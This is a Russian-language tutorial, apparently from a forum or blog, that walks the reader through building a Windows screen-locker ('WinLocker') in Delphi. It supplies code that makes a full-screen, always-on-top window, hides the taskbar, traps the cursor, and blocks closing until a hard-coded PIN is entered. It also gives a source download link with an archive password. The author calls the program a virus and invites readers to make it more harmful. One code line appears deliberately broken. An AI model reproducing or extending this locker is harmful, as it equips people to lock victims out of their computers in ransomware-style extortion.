Как создать простейший, но мощный WinLocker

Данная статья для тех, кто уже работал в среде Delphi, и знает, что, куды, чаво и как.
Сразу хочу предупредить. Эту статью и WinLocker я писал ИСКЛЮЧИТЕЛЬНО САМ!!!!! Здесь копипаста точно нет. Однако, если Вы его найдёте, то скидываёте сайт. Я с радостью посмотрю, чем улучшить вирус!
Приветствую всех. В данной статье речь пойдёт о том, как создать Winlocker на языке программирования Delphi. Сразу хочу предупредить, что данный вирус находится в безопасном состоянии, и не может нанести компьютеру реальный вред. И в этой статье я расскажу, как создать именно БЕЗОПАСНЫЙ вирус, который вы, конечно, можете превратить и во что-то более интересное
Все действия я буду проводить в среде программирования Delphi Embarcadero. Итак, преступим.

1. открываем Delphi, создаём новый проект, и начинаем кодить
2. Наживаем F12 для того, чтобы перейти в код программы. Для начала, проверяем, что у нас находится в группе uses. Я советую заменить всё то вот на это:

На это:

Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, Registry, Vcl.ExtCtrls, Shellapi;

3. Снова нажимаем F12, закидываем на форму

Кидаем:

12 TButton'ов, 1 TEdit и 3 TLabel'а, чтобы получилось вот так:

4. Сохраняем проект в папку, Делаем всё как на скриншоте выше. Т.е Называем 10 кнопок цифрами от 0 до 9, называем одну кнопку 'Разблокировать', выставляем рядом с TEdit. Можете написать в лабэлы всё, что хотите.
5. Приступаем к самому вкусному—коду.
Под словом переменные (Var) пишем вот это:

Спойлер

H: THandle;
w: integer;
rec:TRect;

Потом по очереди даблкликаем на кнопки с цифрами, и пишем в коде кнопок

Пишем...

Edit1.text := Edit1.text + 'ЦЫФРА_КОТОРАЯ_НА_КНОПКЕ';

Так делаем со всеми кнопками, на которых цифры.

Сейчас нас интересует та кнопка, на которой нет цифры и будет отвечать за проверку пароля.
Снова даблкликаем на неё, и в её коде пишем вот такую штуку:

Это:

if Edit1.text = '9985' then // проверка пароля. Если введён пароль 9985, то
Begin
w := 1; //отключение 'замка' для программы
H := FindWindow('Shell_TrayWnd', Nil); // показ панели задач
ShowWindow(H, SW_SHOWNORMAL);
Close; // закрытие программы
End;
if Edit1.text <> '9985' then
Label3.Caption:='пароль неверен';

ВНИМАНИЕ. ИМЕННО В ЭТОЙ процедуре задаётся пароль для разблокировки. В данном случае, пароль 9985. Для изменения пароля замените 9985 на свой пароль

Написали? Отлично. Дальше.

Переходим к форме программы(Где ещё кнопки).
Тыкаем на СВОБОДНОЕ место на форме. Слева будет меню 'Object Inspector'. Тыкаем на вкладку 'Events', в левой колонке ищем функцию 'OnActivate', в правой колонке, напротив функции тыкаем на свободное место, и в коде процедуры пишем

Пишем...

rec.Left:=form1.Left; //
Rec.Right:=form1.Left+Form1.Width; //
Rec.Top:=Form1.Top; // Запрет выхода указателя
Rec.Bottom:=Form1.Height+Form1.Top; // за границы экрана
ClipCursor(Rec_inactive231987); //

with Form1 do
begin
BorderStyle:= bsNone;
SetBounds(0, 0, Screen.Width, Screen.Height);
end;

Написали? Отлично. Дальше.

Переходим к форме программы(Где ещё кнопки).
Тыкаем на СВОБОДНОЕ место на форме. Слева будет меню 'Object Inspector'. Тыкаем на вкладку 'Events', в левой колонке ищем функцию 'OnCloseQuery', в правой колонке, напротив функции тыкаем на свободное место, и в коде процедуры пишем

Пишем это:

CanClose:=false; // запрет закрытия программы обычными средствами
if w=1 then // если 'Замок' отключён
CanClose:=true; // разрешение закрытие программы

Написали? Отлично. Дальше.

Переходим к форме программы(Где ещё кнопки).
Тыкаем на СВОБОДНОЕ место на форме. Слева будет меню 'Object Inspector'. Тыкаем на вкладку 'Events', в левой колонке ищем функцию 'OnCreate', в правой колонке, напротив функции тыкаем на свободное место, и в коде процедуры пишем

Это:

FormStyle := fsStayOnTop; // отображение вируса поверх других программ
H := FindWindow('Shell_TrayWnd', Nil); //
ShowWindow(H, SW_HIDE); // скрытие панели задач
w:=0; //установка 'замка'

Вот и всё. Вы написали свой винлокер.
Для того, чтобы открыть код, вам нужно запустить файл 'Project1_10.dproj'. Готовый exe будет в папке '\Debug\Win32'
Ниже будет ссылочка на ЯД, где вы сможете скачать исходник винлокера. Вот ссылка на яндекс диск

Ссылка на ЯД

https://yadi.sk/d/blqQ7XixmN6Elw

ПАРОЛЬ ОТ АРХИВА

Пароль от архива—'POCTEXHAD3OP'